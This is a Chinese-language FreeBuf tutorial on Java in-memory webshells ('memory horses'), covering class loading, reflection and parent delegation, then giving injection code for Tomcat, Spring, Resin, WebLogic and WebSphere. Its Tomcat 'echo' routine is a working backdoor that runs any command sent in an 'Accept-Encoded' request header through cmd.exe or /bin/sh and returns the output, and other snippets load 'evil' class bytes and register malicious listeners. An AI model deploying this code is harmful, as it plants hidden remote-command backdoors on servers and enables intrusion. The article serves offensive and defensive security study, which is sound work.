freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一文深度学习java内存马
2024-10-05 12:22:38
所属地 吉林省

1. 前言

java内存马注入一般分为两种

  • 动态注册添加新的listener/filter/servlet/controller等等
  • agent注入修改已有class,插入恶意代码


在理解内存马注入前,有几个概念需要掌握的。

  • 类加载
  • 双亲委派问题以及context
  • 类反射

2. 基础

2.1. class对象

java中的对象可以分为两种对象:Class对象和实例对象

  1. 信息属性:从对象的作用看,Class对象保存每个类型运行时的类型信息,如类
    名、属性、方法、父类信息等等。在JVM中,一个类只对应一个Class对象
  2. 普适性:Class对象是java.lang.Class类的对象,和其他对象一样,我们可以获取
    并操作它的引用
  3. 运行时唯一性:每当JVM加载一个类就产生对应的Class对象,保存在堆区,类
    型和它的Class对象时一一对应的关系。一旦类被加载了到了内存中,那么不论通过哪种
    方式获得该类的Class对象,它们返回的都是指向同一个java堆地址上的Class对象引用。
    JVM不会创建两个相同类型的Class对象

Class类没有公共的构造方法,Class对象是在类加载的时候由Java虚拟机以及通过
调用类加载器中的 defineClass 方法自动构造的,因此不能显式地声明一个Class对象。

2.2.类加载

一个类被加载到内存并供我们使用需要经历如下三个阶段:

  • 加载,这是由类加载器(ClassLoader)执行 的。通过一个类的全限定名来获
    取其定义的二进制字节流(Class字节码),将这个字节流所代表的静态存储结
    构转化为方法去的运行时数据接口,根据字节码在java堆中生成一个代表这个类
    的java.lang.Class对象
  • 链接。在链接阶段将验证Class文件中的字节流包含的信息是否符合当前虚拟机
    的要求,为静态域分配存储空间并设置类变量的初始值(默认的零值),并且
    如果必需的话,将常量池中的符号引用转化为直接引用。
  • 初始化。到了此阶段,才真正开始执行类中定义的java程序代码。用于执行该
    类的静态初始器和静态初始块,如果该类有父类的话,则优先对其父类进行
    初始化

所有的类都是在对其第一次使用时,动态加载到JVM中的(懒加载
触发类加载的方式

  • Class.forName("类的全限定名")
  • new 类构造方法

除了上述方式,还可以通过网络加载字节码方式来调用外部类

  • oadclass:判断是否已加载,使用双亲委派模型,请求父加载器,都为空,使用
    findclass
  • findclass:根据名称或位置加载.class字节码,然后使用defineClass
  • defineclass:解析定义.class字节流,返回class对象
  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是
    双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中
    说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交
    给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成
一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言
代码中

classloader推荐

jxxload_help.PathVFSJavaLoader#loadClassFromBytes
org.python.core.BytecodeLoader1#loadClassFromBytes
sun.org.mozilla.javascript.internal.DefiningClassLoader#defineCl
ass
java.security.SecureClassLoader#defineClass(java.lang.String,
byte[], int, int, java.security.CodeSource)
org.mozilla.classfile.DefiningClassLoader#defineClass
org.mozilla.javascript.DefiningClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

类装载器是用来把类(class)装载进 JVM 的。JVM 规范定义了两种类型的类装载器:
启动类装载器(bootstrap)和用户自定义装载器(user-defined class loader)。 JVM在运行时会
产生3个类加载器组成的初始化加载器层次结构 ,如下图所示:

//1、获取系统类的加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
System.out.println(classLoader);
//2. 获取系统类加载器的父类加载器(扩展类加载器,可以获取).
classLoader = classLoader.getParent();
System.out.println(classLoader);
//3. 获取扩展类加载器的父类加载器(引导类加载器,不可获取).
classLoader = classLoader.getParent();
System.out.println(classLoader);

2.3. 类反射

其实就是获取Class对象,然后调用该对象进行一系列操作

  • Class: 是一个类; 一个描述类的类
  • 封装了描述方法的 Method
  • 描述字段的 Filed
  • 描述构造器的 Constructor 等属性

如何得到 Class 对象

  1. Person.class
  2. person.getClass()
  3. Class.forName("com.atguigu.javase.Person")

关于 Method

如何获取 Method:

  1. getDeclaredMethods: 得到 Method 的数组
  2. getDeclaredMethod(String methondName, Class ...
    parameterTypes) 可以拿到反射类中的公共方法、私有方法、保
    护方法、默认访问,但不获得父类方法
  3. getMethod(String methondName, Class ... parameterTypes)可以
    拿到反射类及其父类中的所有公共方法, 但无法获取私有方法

如何调用 Method

  1. 如果方法时 private 修饰的, 需要先调用 Method 的
    setAccessible(true), 使其变为可访问
  2. method.invoke(obj, Object ... args)

关于 Field

如何获取 Field: getField(String fieldName)

如何获取 Field 的值

  1. setAccessible(true)
  2. field.get(Object obj)

如何设置 Field 的值

  1. field.set(Obejct obj, Object val)

如果属性用 final 修饰的,需要获取Field的mofilers属性,将FINAL约
束去掉,则可修改

ips:
数组反射


声明数组对象
Array.newInstance(int.class, 3);
数组class

Class intArray = Class.forName("[I");
Class byteArray = Class.forName("[B");
Class stringArrayClass = Class.forName("[Ljava.lang.String;");

// 上面的字符串可以通过打印来观察
System.out.println(LinkOption[].class);
// 输出
class [Ljava.nio.file.LinkOption;

// 取巧
Class theClass = getClass(theClassName);
Class stringArrayClass = Array.newInstance(theClass,
0).getClass();

获取数组值

Array.get(obj, index);

2.4. 双亲委派

双亲委派的作用:

  1. 为了保证相同的class文件,在使用的时候,是相同的对象,jvm设计的时候,采
    用了双亲委派的方式来加载类,防止相同类的重复加载。一般来说应用启动的
    时候会有统一的AppClassLoader来加载项目里的class
  2. 保证启动类加载器优先加载,防止JDK的class被篡改

打破双亲委派:ClassLoader#loadClass方法就是以双亲委派逻辑编写的,只要继承
ClassLoader重写loadClass去掉双亲委派的代码就可以打破双亲委派。也可以通过
defineclass绕过loadclass。

tomcat类加载器需要破坏双亲委派机制

tomcat是个web容器,要解决以下问题

  1. 一个web容器可能要部署两个或者多个应用程序,不同的应用程序,可能会依赖
    同一个第三方类库的不同版本,因此要保证每一个应用程序的类库都是独立、相互隔离
  2. 部署在同一个web容器中的相同类库的相同版本可以共享,否则,会有重复的类
    库被加载进JVM
  3. web容器也有自己的类库,不能和应用程序的类库混淆,需要相互隔离
  4. web容器支持jsp文件修改后不用重启,jsp文件也是要编译成.class文件的,支持
    HotSwap功能
  • 架构图

tomcat自己定义的类加载器

  1. CommonClassLoader:tomcat最基本的类加载器,加载路径中的class可以被tomcat和
    各个webapp访问
  2. CatalinaClassLoader:tomcat私有的类加载器,webapp不能访问其加载路径下的
    class,即对webapp不可见
  3. SharedClassLoader:各个webapp共享的类加载器,对tomcat不可见
  4. WebappClassLoader:webapp私有的类加载器,只对当前webapp可见
  5. JspClassLoader
  • 每一个web应用程序对应一个WebappClassLoader,每一个jsp文件对应一个
    JspClassLoader,所以这两个类加载器有多个实例

Tomcat 中有 4 类容器组件,从上至下依次是:

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

“从上至下” 的意思是,它们之间是存在父子关系的

  • Engine:最顶层容器组件,其下可以包含多个 Host
  • Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context
  • Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • Wrapper:一个 Wrapper 代表一个 Servlet
    srping

3. 动态注册方式注入

关于各个协议和组件的内存马的构造思路其实都大同小异

  1. 分析涉及处理请求的对象,阅读它的源码看看是否能获取请求内容,同时能否
    控制响应内容
  2. 然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即
  3. 一般的流程就是request->context->addListener/addFilter

我怎么拿到当前请求的request对象,request对象里一般会有context,context里面一
般都有一些注册组件的方法或者变量存储

需要注意问题

  1. 如果不是web相关类加载器,可能出现类加载报类找不到的问题,这是因为双亲
    委派隔离
  2. 如果用当前上下文的类加载,则相同类名只能加载一次

要解决上面两个问题,就是基于当前上下文的类加载去new一个新的类加载器。
如下用Mlet就是一种方法

new javax.management.loading.MLet(new java.net.URL[0],
conreq.getClass().getClassLoader())

参考代码

java.lang.reflect.Method defineClassMethod =
ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
conreq.getClass().getClassLoader()), new Object[]{classBytes,
new Integer(0), new Integer(classBytes.length)});

在研究中间件之前,最好去了解下该中间件的发展历史,有哪些版本,因为不同版
本的代码肯定会有不同层度的改动,你的内存马是否适配每个版本是个问题

3.1. tomcat

tomcat5无法拿到catalinaLoader,所以需要遍历所有的线程,通过如下判断可以获取
Catalina对应的线程,然后就是继续挖掘request类

for (int i = 0; i < threads.length; i++) {
           if
(threads[i].getName().contains("ContainerBackgroundProcessor"))
{
                o = getFieldValue(threads[i], "target");
               if (!(o instanceof Runnable)) {
                   continue;
              }
          }
      }

tomcat5-9

public static void echo() throws Exception{
Object o;
Object resp = null;
boolean done = false;
try {
java.lang.reflect.Method getThreadsM =
Thread.class.getDeclaredMethod("getThreads", new Class[0]);
getThreadsM.setAccessible(true);
Thread[] threads = (Thread[])
getThreadsM.invoke(null, new Object[0]);
for (int i = 0; i < threads.length; i++) {
String name = threads[i].getName();
if
(name.contains("ContainerBackgroundProcessor") ||
(!name.contains("exec") && name.contains("http"))) {
o = getFieldValue(threads[i], "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
Object connectionHandler = null;
try {
Object[] connectors = (Object[])
getFieldValue(getFieldValue(getFieldValue(o, "this$0"),
"service"), "connectors");
for (int j = 0; j <
connectors.length; j++) {
Object connector =
connectors[j];
// tomcat5/6/7
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"cHandler");
if (connectionHandler == null) {
// tomcat8
connectionHandler =
getFieldValue(getFieldValue(connector, "protocolHandler"),
"handler");
} else {
break;
}
}
}catch (Exception e) {
// tomcat9
connectionHandler =
getFieldValue(getFieldValue(o, "this$0"), "handler");

}
java.util.ArrayList processors =
(java.util.ArrayList)
getFieldValue(getFieldValue(connectionHandler, "global"),
"processors");
for (int j = 0; j < processors.size();
j++) {
Object processor =
processors.get(j);
Object req =
getFieldValue(processor, "req");
String s = (String)
req.getClass().getMethod("getHeader", new Class[]
{String.class}).invoke(req, new Object[]{"Accept-Encoded"});
if (s != null && !s.isEmpty()) {
Object conreq =
req.getClass().getMethod("getNote", new Class[]
{int.class}).invoke(req, new Object[]{new Integer(1)});
try {
resp =
conreq.getClass().getMethod("getResponse", new
Class[0]).invoke(conreq, new Object[0]);
} catch (Exception e) {
resp =
getFieldValue(getFieldValue(conreq, "request"), "response");
}

resp.getClass().getMethod("setStatus", new Class[]
{int.class}).invoke(resp, new Object[]{new Integer(200)});

resp.getClass().getMethod("addHeader", new Class[]
{String.class, String.class}).invoke(resp, new Object[]
{"Transfer-encoded", "chunked"});
done = true;
byte[] cmdBytes;
if (s.equals("echo") ) {
cmdBytes =
System.getProperties().toString().getBytes();
} else {
String[] cmd =
System.getProperty("os.name").toLowerCase().contains("window") ?
new String[]{"cmd.exe", "/c", s} : new String[]{"/bin/sh", "-c",
s};
cmdBytes = new
java.util.Scanner(new
ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\\\
A").next().getBytes();
}
writeBody(resp, "======" + new
String(cmdBytes) + "======");
}
if (done) {
break;
}
}
}catch (Exception e) {
continue;
}
}
}
} catch (Exception ex) {
writeBody(resp, ex.toString());
}
}

通过request获取context

// 获取context
   private static Object getContext(Object request) throws
Exception {
       Object context = null;
       try {
           // all
          context = getFieldValue(request, "context");
      } catch (Exception e) {
           try {
               // tomcat6
               context = invoke(request, "getContext");
          } catch (Exception ignored) {
               try {
                   // tomcat7以上
                   context = invoke(request,
"getServletContext");
              } catch (Exception ignored1) {
                   // resin3
                   context = invoke(request, "getWebApp");
              }
          }
      }
       return context;
  }
// get standardContext
Object applicationContextFacade = geContext(request);
// 获取ApplicationContext对象
Object applicationContext =
getFieldValue(applicationContextFacade, "context");
// 获取StandardContext对象
Object standardContext = getFieldValue(applicationContext,
"context");

添加listener

getMethodByClass(standardContext.getClass(),
"setApplicationEventListeners",
Object[].class).invoke(standardContext, new Object[]
{newListeners.toArray()});

3.2. 半自动化挖掘

https://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/

工具链接: https://github.com/lz520520/java-object-searcher

将java-object-searcher-.jar引入到目标应用的classpath中,或者可以放在jdk的ext目
录(一劳永逸)

编写调用代码搜索目标对象

以搜索request对象为例,选好搜索器,并根据要搜索的目标特点构造好关键字(必须)
和黑名单(非必须),可写如下搜索代码到IDEA的Evaluate中执行

//设置搜索类型包含Request关键字的对象
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build());
//定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("CompoundClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());
//新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),keys);
// SearchRequstByDFS searcher = new SearchRequstByDFS(Thread.currentThread(),keys); // 设置黑名单 searcher.setBlacklists(blacklists); //打开调试模式,会生成log日志 searcher.setIs_debug(true); //挖掘深度为20 searcher.setMax_search_depth(10); //设置报告保存位置 searcher.setReport_save_path("."); searcher.searchObject();

SearchRequstByBFS_log 日志文件开头

比如tomcat的request搜索

3.3. spring

Object requestAttributes =
Class.forName("org.springframework.web.context.request.RequestCo
ntextHolder").getMethod("getRequestAttributes", new
Class[0]).invoke(null, new Object[0]);
Object httprequest =
 requestAttributes.getClass().getMethod("getRequest", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object httpresponse =
 requestAttributes.getClass().getMethod("getResponse", new
Class[0]).invoke(requestAttributes, new Object[0]);
Object servletContext =  
httprequest.getClass().getMethod("getServletContext", new
Class[0]).invoke(requestAttributes, new Object[0]);

3.4. resin

3.4.1. resin4记录

resin很体贴,他的 com.caucho.server.webappWebApp类直接提供了添加方法,
如下调用 addListenerObject 即可添加。

servletContext = invoke(httprequest, "getServletContext");
Object webApp = servletContext;
Method addListenerObjectM =  getMethodByClass(webApp.getClass(),
"addListenerObject", new Class[]{Object.class, boolean.class});
// 实例化,并修改pwd
java.lang.reflect.Method m = Class.forName("java.lang.C"+
"lassLoader").getDeclaredMethod("defin"+"eClass", byte[].class,
int.class, int.class);
m.setAccessible(true);
Class clazz = (Class) m.invoke(new
javax.management.loading.MLet(new java.net.URL[0],
Thread.currentThread().getContextClassLoader()),clazzBytes, 0,
clazzBytes.length);
Object listener = clazz.newInstance();
addListenerObjectM.invoke(webApp, new Object[]{listener, true});

3.4.2. resin3记录

resin3和resin4添加流程基本一样。区别就在于获取WebApp类的方法,resin4是
getServletContext,而resin3是 getWebApp

servletContext = invoke(httpServletRequest, "getWebApp");

而resin3还存在一个bug,如果listener里调用了response写入数据,那么响应包就会出
现chunked编码,并且还包含原来的Content-Length,可能导致解析异常,如下yakit获取
直到30秒超时才响应

还有个区别,如下获取request,3和4获取的实现类不一样,3是
com.caucho.server.http.HttpRequest,而4是
com.caucho.server.http.HttpServletRequestImpl

Thread.currentThread().getContextClassLoader().loadClass("com.ca
ucho.server.dispatch.ServletInvocation").getMethod("getContextRe
quest").invoke(null);

3.5. weblogic

3.5.1. 12.1.3以上

ServletRequestImpl是放在currentWork->connectionHandler->request
而10.3.6则是currentWork= ServletRequestImpl ,这里主要区别,除此之外,
10.3.6的context没有phase

Object currentWork =((ExecuteThread)
Thread.currentThread()).getCurrentWork();
Field connectionHandler =
currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object httpConnectionHandler =
connectionHandler.get(currentWork);
Field requestF =
httpConnectionHandler.getClass().getDeclaredField("request");
requestF.setAccessible(true);
httpConnectionHandler = requestF.get(httpConnectionHandler);
java.lang.reflect.Field contextF =
httpConnectionHandler.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext webAppServletContext =
(WebAppServletContext) contextF.get(httpConnectionHandler);
byte[] evilClassBytes = new
BASE64Decoder().decodeBuffer("yv66");

Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", byte[].class,
Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);

// 获取webAppServletContext中的classLoader
Field classLoaderF =
webAppServletContext.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader classLoader = (ClassLoader)
classLoaderF.get(webAppServletContext);
Class servletClass = (Class) defineClass.invoke(classLoader,
evilClassBytes, 0, evilClassBytes.length);

Field phaseF =
webAppServletContext.getClass().getDeclaredField("phase");
phaseF.setAccessible(true);
Object INITIALIZER_STARTUP =
 Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase").getDeclaredField("INITIALIZER_STARTUP").get(null);
Object START =
 Class.forName("weblogic.servlet.internal.WebAppServletContext$C
ontextPhase").getDeclaredField("START").get(null);

Object OldContextPhase = phaseF.get(webAppServletContext);
phaseF.set(webAppServletContext, INITIALIZER_STARTUP);

webAppServletContext.registerListener("tools.mem.shells.listener
.testCmdListener");

phaseF.set(webAppServletContext, START);

在weblogic启动后,高版本其实是不允许添加listener的,这里会检查
如果为START表示启动完毕,则这里会抛出异常

checkNotifyDynamicContext  会检查另一项

这是12.1.3的,12.2.1.3以上会增加AFTER_INITIALIZER_NOTIFY_LISTENER,这
里选择

3.6. jboss

测试AS6.1 可直接复用tomcat的listener 内存马,原因就是jboss内嵌了tomcat

3.7. WebSphere

WebSphere
version
WebSphere
Liberty
(Continuous
Delivery)
9.08.5.58.5
Liberty
Profile
8.58.07.06.16.05.15.04.03.5
Latest Fix
Pack
22.0.0.79.0.5.128.5.5.228.5.5.9
(the next
is
16.0.0.2)
8.5.0.28.0.0.157.0.0.456.1.0.476.0.2.435.1.1.195.0.24.0.73.5.7
Release
date
5 July
2022
7 June
2022
25 July
2022
June 15,
2012
June 15,
2012[5]
June 17,
2011
October
17,
2008
June 30,
2006
December
31, 2004
January
16, 2004
January 3,
2003
August
15,
2001
August
31, 2000
End of
support



June 24,
2016
(with the
release
of
16.0.0.2)
[6]

April
30,
2018
April
30,
2018
September
30,
2013
September
30, 2010
September
30, 2008
September
30, 2006
April
30,
2005
November
30, 2003
Java SE6 (until
17.0.0.2), 7,
7.1, 8 and 11
(since
19.0.0.1)
[10]
86 (until
8.5.5.13),
7, 7.1
(since
8.5.5.2)
and 8
(since
8.5.5.9)
[11]
6, 7, 7.1
(since
8.5.5.2)
and 8
(since
8.5.5.5)
6 and
7[12]
6651.41.41.41.31.2
Java EE6 (web
profile) and
7[13]
766 (web
profile)
and 7
(since
8.5.5.6)
6651.41.41.3131.21.2 (not
fully
compliant)
WebSphere
version
WebSphere
Liberty
(Continuous
Delivery)
9.08.5.58.5
Liberty
Profile
8.58.07.02.46.05.15.04.03.5
Servlet3.0,3.1,4.03.13.03.13.03.02.52.02.42.32.32.22.1&2.2
JSP2.2, 2.32.32.22.32.22.22.11.12.01.21.21.10.91 and
1.0&1.1
JSF2.0, 2.2, 2.32.22.02.23.22.01.23.01.0



EJB3.1 (lite), 3.23.23.13.21.13.13.03.02.12.02.01.11.0
JMS1.0, 2.02.01.11.14.11.11.11.11.11.02


JDBC4.0, 4.14.14.14.14.04.04.03.03.0



JPA2.0, 2.12.0,
2.1[15]
2.02.12.02.01.01.01.0



3.7.1. 回显

websphere7找不到像8.5那样的调用链, wsThreadLocals 里没有
WebContainerRequestState类,所以我得找起来方法,尝试在线程里跑request,但没找到

https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Websphere/code/websphereEch
o.jsp

在分析堆栈的时候,发现了一个获取web容器的地方如下

com.ibm.ws.webcontainer.WebContainer.getWebContainer()

接着就找到当前容器的上下文,以及request和response

com.ibm.ws.webcontainer.WebContainer.getWebContainer().getConnec
tionContext()

这个context有问题,获取connContext后需要用WCCRequestImpl初始化,才能拿到真
正的request,所以这个思路是不行了

继续看了下,发现这里有个静态变量_cacheMap

这个连接对象池里会放着已连接过的context,但没啥用,他只是复用连接,还是需
要上述通过req res初始化

这个方法也能获取到context

WebContainer.getFromCache(new
StringBuffer("30.1.20.3:9080/visor_externo/class.jsp"))

3.7.2. 半自动化搜索备注

Object webapp =
((com.ibm.ws.webcontainer.webapp.WebGroupImpl)com.ibm.ws.webcont
ainer.WebContainer.getWebContainer().requestMapper.map(":9080/vi
sor_externo/*")).webApp;

//设置搜索类型包含Request关键字的对象
Class.forName("me.gv7.tools.josearcher.entity.Keyword");
java.util.List<me.gv7.tools.josearcher.entity.Keyword> keys =
new java.util.ArrayList();
keys.add(new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build());

//定义黑名单
java.util.List<me.gv7.tools.josearcher.entity.Blacklist>
blacklists = new java.util.ArrayList();
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("java.io.File").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("Exception").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_name
("contextClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("CompoundClassLoader").build());
blacklists.add(new
me.gv7.tools.josearcher.entity.Blacklist.Builder().setField_type
("ExtClassLoader").build());

//新建一个广度优先搜索Thread.currentThread()的搜索器
me.gv7.tools.josearcher.searcher.SearchRequstByBFS searcher =
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),keys);
// SearchRequstByDFS searcher = new
SearchRequstByDFS(Thread.currentThread(),keys);
// 设置黑名单
searcher.setBlacklists(blacklists);
//打开调试模式,会生成log日志
searcher.setIs_debug(true);
//挖掘深度为20
searcher.setMax_search_depth(10);
//设置报告保存位置
searcher.setReport_save_path(".");
searcher.searchObject();
new
me.gv7.tools.josearcher.searcher.SearchRequstByBFS(Thread.curren
tThread(),new
me.gv7.tools.josearcher.entity.Keyword.Builder().setField_type("
listener").build()).searchObject();
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
   ---> javaColonCtxt = {javax.naming.InitialContext}
    ---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}
     ---> _orb = {com.ibm.CORBA.iiop.ORB}
      ---> threadGroup = {java.lang.ThreadGroup}
       ---> childrenThreads = {class [Ljava.lang.Thread;}
        ---> [27] = {java.lang.Thread}
         ---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
           ---> selector = {sun.nio.ch.EPollSelectorImpl}
            ---> fdToKey = {class java.util.HashMap}
             ---> [316] = {sun.nio.ch.SelectionKeyImpl}
              ---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}
               ---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}
                ---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}
                 ---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}
                  ---> voidLink = {java.util.LinkedList$Link}
                   ---> previous = {java.util.LinkedList$Link}
                    ---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}
                     ---> reader =
{com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl}
TargetObject = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
   ---> javaColonCtxt = {javax.naming.InitialContext}
    ---> defaultInitCtx =
{com.ibm.ws.naming.java.javaURLContextRoot}
     ---> _orb = {com.ibm.CORBA.iiop.ORB}
      ---> threadGroup = {java.lang.ThreadGroup}
       ---> childrenThreads = {class [Ljava.lang.Thread;}
        ---> [27] = {java.lang.Thread}
         ---> runnable =
{com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
           ---> selector = {sun.nio.ch.EPollSelectorImpl}
            ---> fdToKey = {class java.util.HashMap}
             ---> [316] = {sun.nio.ch.SelectionKeyImpl}
              ---> attachment =
{com.ibm.ws.tcp.channel.impl.TCPPort}
               ---> tcpChannel =
{com.ibm.ws.tcp.channel.impl.AioTCPChannel}
                ---> inUse = {class
[Lcom.ibm.ws.tcp.channel.impl.TCPChannelLinkedList;}
                 ---> [0] =
{com.ibm.ws.tcp.channel.impl.TCPChannelLinkedList}
                  ---> voidLink = {java.util.LinkedList$Link}
                   ---> previous = {java.util.LinkedList$Link}
                    ---> data =
{com.ibm.ws.tcp.channel.impl.TCPConnLink}
                     ---> writer =
{com.ibm.ws.tcp.channel.impl.AioTCPWriteRequestContextImpl}
Class clazz =
Class.forName("com.ibm.ws.webcontainer.WebContainer");
Object webContainer =
clazz.getDeclaredMethod("getWebContainer").invoke(null);
Object requestMapper =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webContai
ner,"requestMapper");
Object webGroup =
requestMapper.getClass().getDeclaredMethod("map",
String.class).invoke(requestMapper, ":9080/visor_externo/*");
Object webapp =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(webGroup,
"webApp");
Object obj0 = webapp;
// {javax.naming.InitialContext}
Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"jav
aColonCtxt");
// {com.ibm.ws.naming.java.javaURLContextRoot}
Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"def
aultInitCtx");
// {com.ibm.CORBA.iiop.ORB}
Object obj3 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj2,"_or
b");
// {java.lang.ThreadGroup}
Object obj4 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj3,"thr
eadGroup");
// {class [Ljava.lang.Thread;}
Object obj5 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj4,"chi
ldrenThreads");
// {com.ibm.ws.tcp.channel.impl.NBAcceptChannelSelector}
Object obj7 = null;
for (Thread thread: ((Thread[]) obj5)) {
   obj7 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(thread,"r
unnable");
   if (obj7 !=null &&
obj7.getClass().getName().contains("NBAcceptChannelSelector")) {
       break;
  }
}
// {sun.nio.ch.EPollSelectorImpl}
Object obj8 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj7,"sel
ector");
// {class java.util.HashMap}
Object obj9 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj8,"fdT
oKey");
Object obj10 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(((Map)
obj9).get(317),"attachment");
Object obj12 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj10,"tc
pChannel");
Object obj13 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj12,"in
Use");
Object obj15 = ((java.util.List) ((TCPChannelLinkedList[])
obj13)[0]).get(0);
Object obj18 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj15,"re
ader");
com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl req =
(com.ibm.ws.tcp.channel.impl.AioTCPReadRequestContextImpl)
obj18;
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink myLink =
(com.ibm.ws.http.channel.inbound.impl.HttpInboundLink)
req.getTCPConnLink().getVirtualConnection().getStateMap().get(co
m.ibm.ws.http.channel.impl.CallbackIDs.CALLBACK_HTTPICL);
com.ibm.ws.webcontainer.channel.WCChannelLink wcChannelLink =
(com.ibm.ws.webcontainer.channel.WCChannelLink)
myLink.getApplicationCallback();
wcChannelLink.request.getHeader("xxx")

3.7.3. 基于request定位context

TargetObject = {com.ibm.ws.webcontainer.srt.SRTServletRequest}
 ---> _dispatchContext =
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}
  ---> _webapp = {com.ibm.ws.webcontainer.webapp.WebAppImpl}
idea_express:
   Object obj0 = TargetObject;
   //
{com.ibm.ws.webcontainer.webapp.RootWebAppDispatcherContext}
   Object obj1 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj0,"_di
spatchContext");
   // {com.ibm.ws.webcontainer.webapp.WebAppImpl}
   Object obj2 =
me.gv7.tools.josearcher.utils.CommonUtil.getFieldValue(obj1,"_we
bapp");

3.7.4. 基于Thread.currentThread()定位request

这个定位的有问题,不是当前request

argetObject = {com.ibm.ws.util.ThreadPool$Worker}
   ---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
    ---> table = {class
[Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
     ---> [11] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
      ---> value =
{com.ibm.ws.util.objectpool.LocalThreadObjectPool}
